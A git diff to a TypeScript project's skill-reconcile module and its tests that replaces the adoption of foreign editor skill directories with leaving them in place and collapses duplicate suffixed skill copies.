+ const roots = opts.roots ?? EDITOR_PROJECT_SKILL_ROOT;
+ // Operate against the REAL canonical dir (a symlink path handed here would
+ // make the canonical-protection classify miss) — same guard as relocation.
+ let canonicalAbs: string;
+ try {
+ canonicalAbs = realpathSync(opts.canonicalAbs);
+ } catch {
+ return [];
+ }
+ const removed: SkillHostId[] = [];
+ for (const editor of targets) {
+ const dest = skillTargetDir(cwd, editor, name, roots);
+ if (dest === null) continue;
+ if (hostSkillsRootEscapes(cwd, dirname(dest))) continue;
+ switch (classifyInPlaceDest(dest, canonicalAbs, canonicalHash)) {
+ case 'same-copy':
+ case 'link':
+ case 'link-to-canonical':
+ tracedRmSync(dest, { recursive: true, force: true });
+ removed.push(editor);
+ break;
+ default:
+ break; // absent, the canonical itself, or a differing dir — never removed
+ }
+ }
+ // Removing an occurrence (real copy OR a link other links chained through)
+ // can orphan sibling links — re-point survivors at the canonical.
+ if (removed.length > 0) {
+ for (const host of ALL_TARGET_HOSTS) {
+ const sib = skillTargetDir(cwd, host, name, roots);
+ if (sib === null) continue;
+ try {
+ if (!lstatSync(sib).isSymbolicLink()) continue;
+ } catch {
+ continue;
+ }
+ try {
+ realpathSync(sib);
+ } catch {
+ tracedRmSync(sib, { recursive: true, force: true });
+ tracedSymlinkSync(skillLinkTarget(cwd, dirname(sib), canonicalAbs), sib, 'dir');
+ }
+ }
+ }
+ return removed;
+}
+
/**
* Remove a skill's projection from each target editor's host dir
* (uninstall / reverse-projection). Returns the editor ids a projection was
@@ -264,10 +701,11 @@ export function reverseProjectSkill(
name: string,
cwd: string,
targets: readonly EditorId[],
+ roots: SkillProjectionRoots = EDITOR_PROJECT_SKILL_ROOT,
): EditorId[] {
const removed: EditorId[] = [];
for (const editor of targets) {
- const dest = skillHostDir(cwd, editor, name);
+ const dest = skillHostDir(cwd, editor, name, roots);
if (dest === null) continue;
// `lstatSync` does NOT follow the link, so a DANGLING projection symlink
// (target gone after the source was deleted) is still detected + removed.
@@ -287,37 +725,6 @@ export function reverseProjectSkill(
return removed;
}
-/**
- * Project OK's shipped `open-knowledge` bundle into each target editor's host
- * dir, so OK's own project skill follows the same `skill_targets` set as
- * authored skills. Source is the bundled asset (`resolveBundledSkillDir`),
- * NOT a `.ok/skills/` dir. Returns the editor ids written; `[]` when the
- * bundle can't be resolved (e.g. a dev tree with no built assets).
- */
-export function projectBundleSkill(cwd: string, targets: readonly EditorId[]): EditorId[] {
- let bundleDir: string;
- try {
- bundleDir = resolveBundledSkillDir('project', { checkDesktop: true });
- } catch {
- return [];
- }
- const written: EditorId[] = [];
- for (const editor of targets) {
- const dest = skillHostDir(cwd, editor, SHIPPED_SKILL_NAME);
- if (dest === null) continue;
- if (hostSkillsRootEscapes(cwd, dirname(dest))) continue;
- tracedRmSync(dest, { recursive: true, force: true });
- tracedCpSync(bundleDir, dest, { recursive: true });
- written.push(editor);
- }
- return written;
-}
-
-/** Remove OK's shipped bundle projection from each target editor's host dir. */
-export function reverseBundleSkill(cwd: string, targets: readonly EditorId[]): EditorId[] {
- return reverseProjectSkill(SHIPPED_SKILL_NAME, cwd, targets);
-}
-
/** Max bytes inlined as text for a bundled skill file; larger files report `text: null`. */
const MAX_BUNDLED_FILE_BYTES = 256 * 1024;
diff --git a/packages/server/src/skill-reconcile.test.ts b/packages/server/src/skill-reconcile.test.ts
index b358bc2db..03ffc2be9 100644
--- a/packages/server/src/skill-reconcile.test.ts
+++ b/packages/server/src/skill-reconcile.test.ts
@@ -4,15 +4,15 @@ import {
mkdirSync,
mkdtempSync,
readFileSync,
+ readlinkSync,
rmSync,
symlinkSync,
writeFileSync,
} from 'node:fs';
import { tmpdir } from 'node:os';
-import { join, relative } from 'node:path';
+import { isAbsolute, join, relative, resolve } from 'node:path';
import { afterEach, beforeEach, describe, expect, test } from 'vitest';
-import { readInstalledSkills } from './installed-skills-marker.ts';
-import { countImportableEditorSkills, reconcileSkillInstalls } from './skill-reconcile.ts';
+import { reconcileSkillInstalls } from './skill-reconcile.ts';
let root: string;
let skillsRoot: string;
@@ -28,7 +28,7 @@ function makeSource(name: string, body = '# Steps'): string {
return dir;
}
-/** Plant a real-dir skill copy under an editor host root (a foreign/legacy copy). */
+/** Plant a real-dir skill under an editor host root (an in-place skill). */
function makeEditorCopy(editorRel: string, name: string, body = '# Steps'): string {
const dir = join(root, editorRel, name);
mkdirSync(dir, { recursive: true });
@@ -49,13 +49,8 @@ beforeEach(() => {
root = mkdtempSync(join(tmpdir(), 'ok-reconcile-'));
skillsRoot = join(root, '.ok', 'skills');
mkdirSync(skillsRoot, { recursive: true });
- // Adoption of non-`.ok` editor skills is gated on the project being OK-managed
- // (default off). Most tests here exercise adopt/collision, so default the suite
- // to managed via the env override; the OFF-specific tests clear it.
- process.env.OK_SKILL_MANAGE = '1';
});
afterEach(() => {
- delete process.env.OK_SKILL_MANAGE;
rmSync(root, { recursive: true, force: true });
});
@@ -68,7 +63,7 @@ describe('reconcileSkillInstalls', () => {
const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
expect(r.healed).toEqual([]);
- expect(r.adopted).toEqual([]);
+ expect(r.replaced).toEqual([]);
expect(isLinkToSource('.claude/skills', 'trip-log')).toBe(true);
});
@@ -93,8 +88,20 @@ describe('reconcileSkillInstalls', () => {
expect(existsSync(link)).toBe(false);
});
+ test('leaves a real-dir editor skill with no source untouched (in-place)', async () => {
+ const foreign = join(root, '.codex', 'skills', 'recipe');
+ mkdirSync(foreign, { recursive: true });
+ writeFileSync(join(foreign, 'SKILL.md'), '---\nname: recipe\ndescription: x.\n---\n# Foreign');
+
+ const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
+ expect(r.skipped).toContainEqual({ name: 'recipe', editor: 'codex' });
+ // NEVER moved into .ok/skills; the editor entry is still a real dir, byte-unchanged.
+ expect(existsSync(join(skillsRoot, 'recipe'))).toBe(false);
+ expect(lstatSync(foreign).isSymbolicLink()).toBe(false);
+ expect(readFileSync(join(foreign, 'SKILL.md'), 'utf-8')).toContain('# Foreign');
+ });
+
test('leaves a symlink resolving outside .ok/skills untouched, even unmanaged', async () => {
- delete process.env.OK_SKILL_MANAGE; // the field failure needs no managed opt-in
const shared = join(root, 'shared-skills', 'toolbox');
mkdirSync(shared, { recursive: true });
writeFileSync(join(shared, 'SKILL.md'), '---\nname: toolbox\n---\n# External');
@@ -105,7 +112,6 @@ describe('reconcileSkillInstalls', () => {
const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
expect(r.orphansRemoved).toEqual([]);
expect(r.healed).toEqual([]);
- expect(r.skipped).toContainEqual({ name: 'toolbox', editor: null });
expect(lstatSync(link).isSymbolicLink()).toBe(true);
expect(readFileSync(join(link, 'SKILL.md'), 'utf-8')).toContain('# External');
});
@@ -121,25 +127,9 @@ describe('reconcileSkillInstalls', () => {
const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
expect(r.healed).toEqual([]);
- expect(r.skipped).toContainEqual({ name: 'toolbox', editor: 'codex' });
expect(readFileSync(join(link, 'SKILL.md'), 'utf-8')).toContain('# External');
});
- test('adopts a foreign real-dir skill into .ok/skills and symlinks it + marks installed', async () => {
- makeEditorCopy('.codex/skills', 'recipe', '# Foreign body');
-
- const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
- expect(r.adopted).toContainEqual({ name: 'recipe', editor: 'codex' });
- // Source now lives under .ok/skills with the foreign content preserved.
- expect(readFileSync(join(skillsRoot, 'recipe', 'SKILL.md'), 'utf-8')).toContain(
- '# Foreign body',
- );
- // The editor entry is now a symlink, not a real dir.
- expect(isLinkToSource('.codex/skills', 'recipe')).toBe(true);
- // Marker badges it installed on codex.
- expect(readInstalledSkills(root).skills.recipe?.hosts).toEqual(['codex']);
- });
-
test('replaces a redundant real-dir copy (same content as source) with a symlink', async () => {
makeSource('dup', '# Same');
makeEditorCopy('.claude/skills', 'dup', '# Same'); // identical content
@@ -152,9 +142,9 @@ describe('reconcileSkillInstalls', () => {
// The cross-harness skill sync reformats / extends frontmatter across runs, so
// a host copy of an ALREADY-managed skill is rarely byte-identical to its
// `.ok/skills` source. These cases must read as "same skill" (redundant →
- // symlink), NOT a collision — otherwise every managed skill re-collides on each
- // boot and spawns `<name>-<editor>` duplicates (the bug these guard).
- test('frontmatter serialization-only diff → redundant (symlink), not a collision', async () => {
+ // symlink), NOT a distinct in-place skill — otherwise every managed skill
+ // double-lists on each boot.
+ test('frontmatter serialization-only diff → redundant (symlink), not in-place', async () => {
mkdirSync(join(skillsRoot, 'route-plan'), { recursive: true });
writeFileSync(
join(skillsRoot, 'route-plan', 'SKILL.md'),
@@ -168,13 +158,12 @@ describe('reconcileSkillInstalls', () => {
);
const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
- expect(r.collided).toEqual([]);
+ expect(r.skipped).toEqual([]);
expect(r.replaced).toContainEqual({ name: 'route-plan', editor: 'codex' });
expect(isLinkToSource('.codex/skills', 'route-plan')).toBe(true);
- expect(existsSync(join(skillsRoot, 'route-plan-codex'))).toBe(false);
});
- test('additive frontmatter field (argument-hint) → redundant, not a collision', async () => {
+ test('additive frontmatter field (argument-hint) → redundant, not in-place', async () => {
mkdirSync(join(skillsRoot, 'dx'), { recursive: true });
writeFileSync(
join(skillsRoot, 'dx', 'SKILL.md'),
@@ -187,30 +176,29 @@ describe('reconcileSkillInstalls', () => {
);
const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
- expect(r.collided).toEqual([]);
+ expect(r.skipped).toEqual([]);
expect(r.replaced).toContainEqual({ name: 'dx', editor: 'cursor' });
- expect(existsSync(join(skillsRoot, 'dx-cursor'))).toBe(false);
});
- test('conflicting shared frontmatter value → genuine collision (suffix-adopted)', async () => {
- mkdirSync(join(skillsRoot, 'tool'), { recursive: true });
- writeFileSync(
- join(skillsRoot, 'tool', 'SKILL.md'),
- '---\nname: tool\ndescription: First meaning.\n---\n# Body\n',
- );
- mkdirSync(join(root, '.cursor', 'skills', 'tool'), { recursive: true });
- // Same key, genuinely different value → a real variant, must be preserved.
- writeFileSync(
- join(root, '.cursor', 'skills', 'tool', 'SKILL.md'),
- '---\nname: tool\ndescription: A different meaning entirely.\n---\n# Body\n',
- );
+ test('a genuinely different skill sharing a source name is left in place (never moved)', async () => {
+ makeSource('clash', '# OK managed version');
+ makeEditorCopy('.cursor/skills', 'clash', '# A genuinely different skill');
const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
- expect(r.collided).toContainEqual({ name: 'tool', editor: 'cursor' });
- expect(existsSync(join(skillsRoot, 'tool-cursor', 'SKILL.md'))).toBe(true);
+ expect(r.skipped).toContainEqual({ name: 'clash', editor: 'cursor' });
+ // The OK-managed source is untouched.
+ expect(readFileSync(join(skillsRoot, 'clash', 'SKILL.md'), 'utf-8')).toContain(
+ '# OK managed version',
+ );
+ // The editor copy stays a real dir at its own path — never suffix-moved.
+ expect(lstatSync(join(root, '.cursor', 'skills', 'clash')).isDirectory()).toBe(true);
+ expect(readFileSync(join(root, '.cursor', 'skills', 'clash', 'SKILL.md'), 'utf-8')).toContain(
+ '# A genuinely different skill',
+ );
+ expect(existsSync(join(skillsRoot, 'clash-cursor'))).toBe(false);
});
- test('differing sibling file (scripts/) → genuine collision even when SKILL.md matches', async () => {
+ test('differing sibling file (scripts/) → in-place, even when SKILL.md matches', async () => {
mkdirSync(join(skillsRoot, 'gizmo', 'scripts'), { recursive: true });
writeFileSync(
join(skillsRoot, 'gizmo', 'SKILL.md'),
@@ -228,146 +216,31 @@ describe('reconcileSkillInstalls', () => {
);
const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
- expect(r.collided).toContainEqual({ name: 'gizmo', editor: 'cursor' });
- });
-
- // Project-managed gate (default off): adoption of non-`.ok` editor skills only
- // runs when the project is OK-managed. These set OK_SKILL_MANAGE=0 to assert the
- // default-off behavior — the failure this whole feature exists to prevent.
- test('management OFF: a foreign real-dir editor skill is left untouched (skipped, not adopted)', async () => {
- process.env.OK_SKILL_MANAGE = '0';
- const foreign = join(root, '.codex', 'skills', 'recipe');
- mkdirSync(foreign, { recursive: true });
- writeFileSync(join(foreign, 'SKILL.md'), '---\nname: recipe\ndescription: x.\n---\n# Foreign');
-
- const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
- expect(r.adopted).toEqual([]);
- expect(r.collided).toEqual([]);
- expect(r.skipped).toContainEqual({ name: 'recipe', editor: 'codex' });
- // Source NOT created; the editor entry is still a real dir, byte-unchanged.
- expect(existsSync(join(skillsRoot, 'recipe'))).toBe(false);
- expect(lstatSync(foreign).isSymbolicLink()).toBe(false);
- expect(readFileSync(join(foreign, 'SKILL.md'), 'utf-8')).toContain('# Foreign');
- });
-
- test('countImportableEditorSkills counts foreign editor skills, deduped across roots, ignoring managed copies', () => {
- // Foreign skill mirrored into two editor roots → counts once.
- makeEditorCopy('.codex/skills', 'recipe', '# A');
- makeEditorCopy('.agents/skills', 'recipe', '# A');
- // A second, distinct foreign skill → +1.
- makeEditorCopy('.cursor/skills', 'planner', '# B');
- // A real-dir copy of an EXISTING .ok skill → NOT importable (already managed).
- makeSource('trip-log', '# Same');
- makeEditorCopy('.claude/skills', 'trip-log', '# Same');
-
- expect(countImportableEditorSkills({ projectDir: root, skillsRoot })).toBe(2);
- });
-
- test('countImportableEditorSkills is 0 when there are no foreign editor skills', () => {
- makeSource('only-ok', '# x');
- expect(countImportableEditorSkills({ projectDir: root, skillsRoot })).toBe(0);
- });
-
- test('management OFF: an EXISTING .ok skill still heals + redundant-collapses (always-on)', async () => {
- process.env.OK_SKILL_MANAGE = '0';
- makeSource('trip-log', '# Same');
- // drifted link → still healed
- mkdirSync(join(root, '.claude', 'skills'), { recursive: true });
- symlinkSync('/nonexistent', join(root, '.claude', 'skills', 'trip-log'), 'dir');
- // redundant real-dir copy of the .ok skill → still collapsed to a symlink
- makeEditorCopy('.cursor/skills', 'trip-log', '# Same');
-
- const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
- expect(r.healed).toContainEqual({ name: 'trip-log', editor: 'claude' });
- expect(r.replaced).toContainEqual({ name: 'trip-log', editor: 'cursor' });
- expect(isLinkToSource('.claude/skills', 'trip-log')).toBe(true);
- expect(isLinkToSource('.cursor/skills', 'trip-log')).toBe(true);
- });
-
- test('suffix-adopts a colliding real-dir copy (different content) without deleting it', async () => {
- makeSource('clash', '# OK managed version');
- makeEditorCopy('.cursor/skills', 'clash', '# A genuinely different skill');
-
- const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
- expect(r.collided).toContainEqual({ name: 'clash', editor: 'cursor' });
- // The OK-managed source is untouched.
- expect(readFileSync(join(skillsRoot, 'clash', 'SKILL.md'), 'utf-8')).toContain(
- '# OK managed version',
- );
- // The foreign copy is preserved under a suffixed source, never deleted.
- expect(readFileSync(join(skillsRoot, 'clash-cursor', 'SKILL.md'), 'utf-8')).toContain(
- '# A genuinely different skill',
- );
- expect(isLinkToSource('.cursor/skills', 'clash-cursor', 'clash-cursor')).toBe(true);
- // No real-dir copy lingers at the original editor path.
- expect(existsSync(join(root, '.cursor', 'skills', 'clash'))).toBe(false);
- // The marker records the suffixed skill as installed on its editor host, so
- // the Skills list badges it Installed (not Draft). A silently-dropped marker
- // update (e.g. validateSkillForInstall failing on the suffixed frontmatter)
- // would leave it showing Draft despite being on disk + linked.
- expect(readInstalledSkills(root).skills['clash-cursor']?.hosts).toEqual(['cursor']);
- });
-
- test('leaves the foreign copy untouched when the suffixed collision slot is already occupied', async () => {
- // Double collision: an OK-managed `clash`, a genuinely different foreign
- // copy under the same name, AND the suffixed slot `clash-cursor` already
- // holds yet another skill. The no-delete invariant must win — skip rather
- // than overwrite the occupied suffixed slot. (Regression pin for the guard
- // at skill-reconcile.ts; without it a refactor could destroy user content.)
- makeSource('clash', '# OK managed version');
- makeEditorCopy('.cursor/skills', 'clash', '# A genuinely different skill');
- makeSource('clash-cursor', '# Already present in the suffixed slot');
-
- const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
-
- // The collision was skipped, not adopted into the occupied slot.
- expect(r.collided).toEqual([]);
- // The foreign real-dir copy is left in place (not moved, not deleted).
- expect(lstatSync(join(root, '.cursor', 'skills', 'clash')).isDirectory()).toBe(true);
- expect(readFileSync(join(root, '.cursor', 'skills', 'clash', 'SKILL.md'), 'utf-8')).toContain(
- '# A genuinely different skill',
- );
- // The pre-occupied suffixed source is byte-for-byte untouched.
- expect(readFileSync(join(skillsRoot, 'clash-cursor', 'SKILL.md'), 'utf-8')).toContain(
- '# Already present in the suffixed slot',
- );
+ expect(r.replaced).toEqual([]);
+ expect(r.skipped).toContainEqual({ name: 'gizmo', editor: 'cursor' });
});
- test('skips a host-dir entry whose name is not a valid skill id (never adopted)', async () => {
- // `Invalid_Name` fails SKILL_NAME_REGEX (uppercase + underscore). It must not
- // be adopted into `.ok/skills/` — the name would become an invalid skill
- // identity. A valid sibling in the same host dir still reconciles normally.
+ test('skips a host-dir entry whose name is not a valid skill id', async () => {
+ // `Invalid_Name` fails SKILL_NAME_REGEX (uppercase + underscore). Left in
+ // place (not deleted) so the user can fix it manually; a valid sibling in
+ // the same host dir still reconciles normally.
+ makeSource('valid-skill', '# Same');
makeEditorCopy('.codex/skills', 'Invalid_Name', '# Not a skill');
- makeEditorCopy('.codex/skills', 'valid-skill', '# Real foreign skill');
+ makeEditorCopy('.codex/skills', 'valid-skill', '# Same');
const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
-
- // The invalid entry was skipped on every axis.
- expect(r.adopted).not.toContainEqual({ name: 'Invalid_Name', editor: 'codex' });
expect(existsSync(join(skillsRoot, 'Invalid_Name'))).toBe(false);
- // Left in place (not deleted) so the user can fix it manually.
expect(lstatSync(join(root, '.codex', 'skills', 'Invalid_Name')).isDirectory()).toBe(true);
- // The valid sibling still adopts.
- expect(r.adopted).toContainEqual({ name: 'valid-skill', editor: 'codex' });
+ // The valid sibling (a redundant copy of its source) still collapses.
+ expect(r.replaced).toContainEqual({ name: 'valid-skill', editor: 'codex' });
expect(isLinkToSource('.codex/skills', 'valid-skill')).toBe(true);
});
- test('adopts from the generic .agents broadcast dir (no per-editor marker host)', async () => {
- makeEditorCopy('.agents/skills', 'shared', '# Broadcast');
-
- const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
- expect(r.adopted).toContainEqual({ name: 'shared', editor: null });
- expect(existsSync(join(skillsRoot, 'shared', 'SKILL.md'))).toBe(true);
- expect(isLinkToSource('.agents/skills', 'shared')).toBe(true);
- // `.agents` is not a per-editor install dir → no marker host recorded.
- expect(readInstalledSkills(root).skills.shared).toBeUndefined();
- });
-
test('leaves the shipped open-knowledge bundle copy untouched', async () => {
const bundle = makeEditorCopy('.claude/skills', 'open-knowledge', '# Shipped');
const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
- const all = [...r.adopted, ...r.replaced, ...r.collided, ...r.healed];
+ const all = [...r.replaced, ...r.healed, ...r.skipped];
expect(all.find((a) => a.name === 'open-knowledge')).toBeUndefined();
// Still a real dir (copy), not a symlink.
expect(lstatSync(bundle).isSymbolicLink()).toBe(false);
@@ -375,16 +248,78 @@ describe('reconcileSkillInstalls', () => {
test('leaves EVERY shipped bundle copy untouched, not just open-knowledge', async () => {
// The exclusion set is derived from the canonical bundle list, so all three
- // built-in bundle names are covered. A foreign `open-knowledge-write-skill/`
- // host dir must NOT be adopted into `.ok/skills/` — that reserved name would
- // become an authored skill the write API forbids.
+ // built-in bundle names are covered.
const bundle = makeEditorCopy('.claude/skills', 'open-knowledge-write-skill', '# Shipped');
const r = await reconcileSkillInstalls({ projectDir: root, skillsRoot });
- const all = [...r.adopted, ...r.replaced, ...r.collided, ...r.healed];
+ const all = [...r.replaced, ...r.healed, ...r.skipped];
expect(all.find((a) => a.name === 'open-knowledge-write-skill')).toBeUndefined();
- // Never projected into .ok/skills, and left as a real dir (not symlinked).
expect(existsSync(join(skillsRoot, 'open-knowledge-write-skill'))).toBe(false);
expect(lstatSync(bundle).isSymbolicLink()).toBe(false);
});
});
+
+describe('reconcileSkillInstalls — accreted suffix-dupe collapse', () => {
+ /** Write a `.ok/skills/<name>` source with explicit frontmatter + body. */
+ function makeSourceFm(name: string, fm: string, body: string): string {
+ const dir = join(skillsRoot, name);
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(join(dir, 'SKILL.md'), `---\n${fm}\n---\n${body}`);
+ return dir;
+ }
+
+ /** Resolve a symlink's target to an absolute path. */
+ function linkTarget(linkPath: string): string {
+ const raw = readlinkSync(linkPath);
+ return isAbsolute(raw) ? raw : resolve(join(linkPath, '..'), raw);
+ }
+
+ test('collapses an identity-equal `<name>-<editor>` dupe and re-points its link', async () => {
+ // Base + suffixed dupe: same frontmatter name + body, suffixed adds an
+ // additive field only (the version-skew shape `sameSkillModuloFrontmatter`
+ // now treats as identity-equal).
+ makeSourceFm('foo', 'name: foo\ndescription: Use when testing.', '# Steps\n');
+ makeSourceFm(
+ 'foo-codex',
+ 'name: foo\ndescription: Use when testing.\nargument-hint: x',
+ '# Steps\n',
+ );
+ // Harness link created by the original (pre-in-place) collision suffix-adopt.
+ mkdirSync(join(root, '.codex', 'skills'), { recursive: true });
+ symlinkSync(join(skillsRoot, 'foo-codex'), join(root, '.codex', 'skills', 'foo-codex'), 'dir');
+
+ await reconcileSkillInstalls({ projectDir: root, skillsRoot });
+
+ // Suffixed source removed; base untouched.
+ expect(existsSync(join(skillsRoot, 'foo-codex'))).toBe(false);
+ expect(existsSync(join(skillsRoot, 'foo', 'SKILL.md'))).toBe(true);
+ // The harness link re-points at the base source (not left dangling).
+ const link = join(root, '.codex', 'skills', 'foo-codex');
+ expect(lstatSync(link).isSymbolicLink()).toBe(true);
+ expect(resolve(linkTarget(link))).toBe(resolve(join(skillsRoot, 'foo')));
+ });
+
+ test('leaves a genuinely-different suffixed skill untouched', async () => {
+ makeSourceFm('bar', 'name: bar\ndescription: Use when testing.', '# A\n');
+ makeSourceFm('bar-codex', 'name: bar\ndescription: Use when testing.', '# B\n'); // different body
+
+ await reconcileSkillInstalls({ projectDir: root, skillsRoot });
+
+ expect(existsSync(join(skillsRoot, 'bar', 'SKILL.md'))).toBe(true);
+ expect(existsSync(join(skillsRoot, 'bar-codex', 'SKILL.md'))).toBe(true);
+ });
+
+ test('is idempotent — a second pass with the dupe gone is a no-op', async () => {
+ makeSourceFm('baz', 'name: baz\ndescription: Use when testing.', '# Steps\n');
+ makeSourceFm(
+ 'baz-agents',
+ 'name: baz\ndescription: Use when testing.\nargument-hint: y',
+ '# Steps\n',
+ );
+ await reconcileSkillInstalls({ projectDir: root, skillsRoot });
+ expect(existsSync(join(skillsRoot, 'baz-agents'))).toBe(false);
+ // Second pass: nothing left to collapse, base still intact, no throw.
+ await reconcileSkillInstalls({ projectDir: root, skillsRoot });
+ expect(existsSync(join(skillsRoot, 'baz', 'SKILL.md'))).toBe(true);
+ });
+});
diff --git a/packages/server/src/skill-reconcile.ts b/packages/server/src/skill-reconcile.ts
index 9fc691882..cf4780fd8 100644
--- a/packages/server/src/skill-reconcile.ts
+++ b/packages/server/src/skill-reconcile.ts
@@ -1,9 +1,8 @@
/**
- * Skill install reconcile — the detect / adopt / heal pass that runs on project
- * open (and on skill create/delete). It brings the on-disk reality into line
- * with the symlink install model: every editor skill entry is either absent or
- * a symlink into `.ok/skills/<name>`; no real-dir skill copies linger in editor
- * dirs. Install state is the on-disk symlink reality — the marker is only a
+ * Skill install reconcile — the heal pass that runs on project open (and on
+ * skill create/delete). It brings editor-dir entries of skills OK ALREADY OWNS
+ * (a `.ok/skills/<name>` source exists) into line with the symlink install
+ * model. Install state is the on-disk symlink reality — the marker is only a
* cache, refreshed here as a side effect.
*
* Per-entry taxonomy for an editor skill dir entry `<name>`:
@@ -15,41 +14,30 @@
* | symlink → existing path outside `.ok/skills` | foreign link | leave untouched |
* | symlink dangling or into `.ok/skills`, source present | drifted link | heal → re-point |
* | symlink dangling or into `.ok/skills`, no source | orphan link | remove the dangling link |
- * | real dir, `.ok/skills/<name>` absent | foreign/legacy | adopt → move in + symlink *(only if project OK-managed; else leave untouched)* |
* | real dir, source present, same content | redundant copy | replace with a symlink |
* | real dir, same skill (frontmatter-only diff) | redundant copy | replace with a symlink |
- * | real dir, source present, different skill | collision | suffix-adopt `<name>-<editor>` *(only if project OK-managed; else leave untouched)* |
+ * | real dir, no source / different skill | in-place skill | none (indexed in place) |
*
- * **Project-managed gate.** The two IMPORT rows (adopt, collision) write a
- * NON-`.ok` skill into `.ok/skills`, so they only run when the project is
- * OK-managed (`manageEditorSkills`, default off — `isProjectSkillManaged`,
- * `skill-management.ts`). Off ⇒ the foreign editor entry is left untouched
- * (`result.skipped`). Membership in `.ok/skills` is the ownership boundary: every
- * other row manages a skill OK already owns and runs regardless of the gate.
- * The same boundary governs symlinks: a link whose target resolves to a real
- * path OUTSIDE `.ok/skills` (e.g. a repo that checks editor-dir links into its
- * own shared skill store) is foreign and is never healed or removed — only
- * dangling links and links into `.ok/skills` are reconcile-managed.
+ * There is NO adopt path: a real-dir editor skill that isn't a copy of an
+ * existing `.ok/skills` source is an IN-PLACE skill — the in-place
+ * registry versions it where it lives; reconcile never moves or rewrites it
+ * (`result.skipped` counts them, diagnostic-only). Membership in `.ok/skills`
+ * is the ownership boundary for every mutating row above. The same boundary
+ * governs symlinks: a link whose target resolves to a real path OUTSIDE
+ * `.ok/skills` (e.g. a repo that checks editor-dir links into its own shared
+ * skill store) is foreign and is never healed or removed — only dangling links
+ * and links into `.ok/skills` are reconcile-managed.
*
* "Same content" is byte-equality; "same skill" additionally treats two copies
* as one when their SKILL.md differs only in frontmatter serialization (folded
* vs flow YAML) or additive fields (one carries `argument-hint`, the other does
- * not) with an identical body and identical sibling files. Only a genuinely
- * different skill — different body, or a shared frontmatter field with a
- * conflicting value — is a collision. Without this, the cross-harness skill sync
- * (which reformats / extends frontmatter across runs) would make every managed
- * skill re-collide on each boot and spawn `<name>-<editor>` duplicates.
+ * not) with an identical body and identical sibling files. Without this, the
+ * cross-harness skill sync (which reformats / extends frontmatter across runs)
+ * would misread every managed skill as a distinct in-place skill on each boot.
*
* Detection scans every editor's skills root AND the generic `.agents/skills`
- * broadcast dir, since a foreign skill can pre-exist in any of them. OK's own
- * shipped bundle (`open-knowledge` / `open-knowledge-discovery`) is a copy
- * exception and is left untouched.
- *
- * Adopt moves a foreign source into `.ok/skills`, making it a managed
- * (versionable) skill. Shadow attribution of a boot-time adopt is deferred to
- * the source's next edit through the normal skills-write spine — the moved
- * bytes land safely under `.ok/skills` and are never deleted (collisions are
- * suffix-adopted, recoverable).
+ * broadcast dir. OK's own shipped bundle (`open-knowledge` /
+ * `open-knowledge-discovery`) is a copy exception and is left untouched.
*/
import { existsSync, lstatSync, readdirSync, readFileSync, readlinkSync, statSync } from 'node:fs';
@@ -63,17 +51,10 @@ import {
unwrapFrontmatterFences,
} from '@inkeep/open-knowledge-core';
import { parse as parseYaml } from 'yaml';
-import {
- tracedCpSync,
- tracedMkdirSync,
- tracedRenameSync,
- tracedRmSync,
- tracedSymlinkSync,
-} from './fs-traced.ts';
+import { tracedMkdirSync, tracedRmSync, tracedSymlinkSync } from './fs-traced.ts';
import { readInstalledSkills, recordSkillInstall } from './installed-skills-marker.ts';
import { getLogger } from './logger.ts';
import { INTERNAL_BUNDLE_SKILL_NAMES } from './skill-bundles.ts';
-import { isProjectSkillManaged } from './skill-management.ts';
import { hostSkillsRootEscapes, validateSkillForInstall } from './skill-projection.ts';
const logger = getLogger('skill-reconcile');
@@ -96,17 +77,14 @@ interface ReconcileAction {
export interface ReconcileResult {
healed: ReconcileAction[];
- adopted: ReconcileAction[];
replaced: ReconcileAction[];
- collided: ReconcileAction[];
orphansRemoved: ReconcileAction[];
/**
- * Foreign editor-dir skills left UNTOUCHED: real dirs (no `.ok/skills/<name>`
- * source, or a colliding different skill) skipped because the project is not
- * OK-managed (`manageEditorSkills` off — these would have been adopted/
- * suffix-adopted only after an explicit import opt-in, see
- * `skill-management.ts`), and symlinks resolving to a real path outside
- * `.ok/skills` (skipped unconditionally — OK does not own them).
+ * Editor-dir skills with no `.ok/skills/<name>` source (or a genuinely
+ * different skill sharing a source's name) — these are IN-PLACE skills
+ * versioned where they live, and reconcile never touches them — plus
+ * symlinks resolving to a real path outside `.ok/skills` (foreign installs,
+ * skipped unconditionally: OK does not own them). Diagnostic-only count.
*/
skipped: ReconcileAction[];
}
@@ -142,24 +120,6 @@ function relativeLinkTarget(hostRoot: string, sourceDir: string): string {
* path preserves both copies (suffix-adopt), never deletes. */
const DIRS_EQUAL_MAX_BYTES = 1_048_576;
-/** Recursively compare two dirs by file set + byte content (size-capped). */
-function dirsEqual(a: string, b: string): boolean {
- const listA = listFiles(a);
- const listB = listFiles(b);
- if (listA.length !== listB.length) return false;
- let total = 0;
- for (let i = 0; i < listA.length; i += 1) {
- if (listA[i] !== listB[i]) return false;
- const rel = listA[i] as string;
- const fileA = join(a, rel);
- const fileB = join(b, rel);
- total += statSync(fileA).size + statSync(fileB).size;
- if (total > DIRS_EQUAL_MAX_BYTES) return false; // too large to byte-compare cheaply
- if (!readFileSync(fileA).equals(readFileSync(fileB))) return false;
- }
- return true;
-}
-
/**
* Parse a SKILL.md into its frontmatter object + body. Frontmatter is parsed as
* YAML so serialization differences (a folded multi-line `description:` vs the
@@ -213,8 +173,8 @@ function skillManifestsSame(mdA: string, mdB: string): boolean {
* This is the gate that prevents the cross-harness sync's reformatted /
* field-extended host copies (folded vs flow `description:`, a newly-added
* `argument-hint:`) from misreading as a collision and spawning duplicate
